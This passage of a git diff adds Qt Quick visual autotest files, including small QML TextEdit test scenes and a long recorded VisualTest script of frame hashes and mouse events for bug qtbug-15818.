+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 432
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 448
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 464
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 480
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 496
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 512
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 528
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 544
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 560
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 576
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 592
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 608
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
new file mode 100644
index 0000000..6913fdd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 200
+ height: 50
+ contentWidth: 400
+
+ Column {
+ anchors.fill: parent
+
+ TextEdit {
+ selectByMouse: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ TextEdit {
+ selectByMouse: false
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
new file mode 100644
index 0000000..4aeb58c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ width: 450
+ height: 250
+
+ TestTextEdit {
+ anchors.fill: parent
+ anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+ wrapMode: Text.Wrap
+ horizontalAlignment: Text.AlignJustify
+
+ text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+ Rectangle {
+ anchors.fill: parent
+ color: "transparent"
+ border.color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
new file mode 100644
index 0000000..177d475
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Rectangle{
+ width: 100
+ height: 100
+ TextEdit{
+ text: '<a href="clicked">Click Me</a> '
+ onLinkActivated: txt.text=link;
+ }
+ Text{
+ id: txt
+ y:50
+ text: "unknown"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
new file mode 100644
index 0000000..fb2c90b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
new file mode 100644
index 0000000..fb2c90b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
new file mode 100644
index 0000000..e2231ff
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
new file mode 100644
index 0000000..790dffa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
@@ -0,0 +1,1039 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug-15818.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 48
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 64
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 80
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 96
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 112
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 128
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 144
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 160
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 176
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 192
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 208
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 224
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 240
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 256
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 272
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 288
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 304
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 320
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 336
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 352
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 368
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 384
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 400
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 416
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 432
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 448
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 464
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 480
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 496
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 512
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 528
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 544
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 560
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 576
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 592
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 608
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 624
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 640
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 656
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 672
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 688
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 704
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 720
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 736
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 752
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 768
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 784
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 800
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 816
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 832
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 848
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 864
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 880
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 26; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 912
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 928
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 960
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug-15818.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1024
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1040
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1056
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1072
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1088
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1104
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1136
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1152
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1168
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1184
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1200
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1216
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1232
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1248
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1264
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1280
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1296
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1312
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1328
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1344
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1360
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1376
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1392
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1408
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1424
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1440
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1456
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1472
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1488
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1504
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1520
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1536
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1552
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1568
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1584
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1600
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1616
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1632
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1648
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1664
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1680
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1696
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1712
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1728
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1744
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1760
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1776
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1792
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1808
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1824
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1840
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1856
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1872
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1888
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1920
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1936
+ image: "qtbug-15818.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 1984
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2000
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2016
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2032
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2048
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2064
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2080
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2096
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2112
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2128
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2144
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2160
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2176
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2192
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2208
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2224
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2240
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2256
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2272
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2288
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2304
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2320
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2336
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2352
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2368
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2384
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2400
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2416
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2432
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2448
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2464
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2480
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2496
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2512
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2528
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2544
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2560
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2576
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2592
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2608
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2624
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2640
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2656
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2672
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2688
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 54; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2720
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2736
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2752
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2768
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2784
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2800
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2816
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2832
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2848
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2864
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2880
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2896
+ image: "qtbug-15818.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2928
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2944
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2960
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2976
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3008
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3024
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3040
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3056
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3072
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3088
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3104
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3120
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3136
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3152
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3168
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3184
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3200
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3216
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3232
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3248
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3264
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3280
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3296
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3312
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3328
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3344
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3360
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3376
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3392
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3408
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3424
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3440
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3456
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3472
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3488
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3504
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3520
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3536
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3552
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3568
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3584
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3600
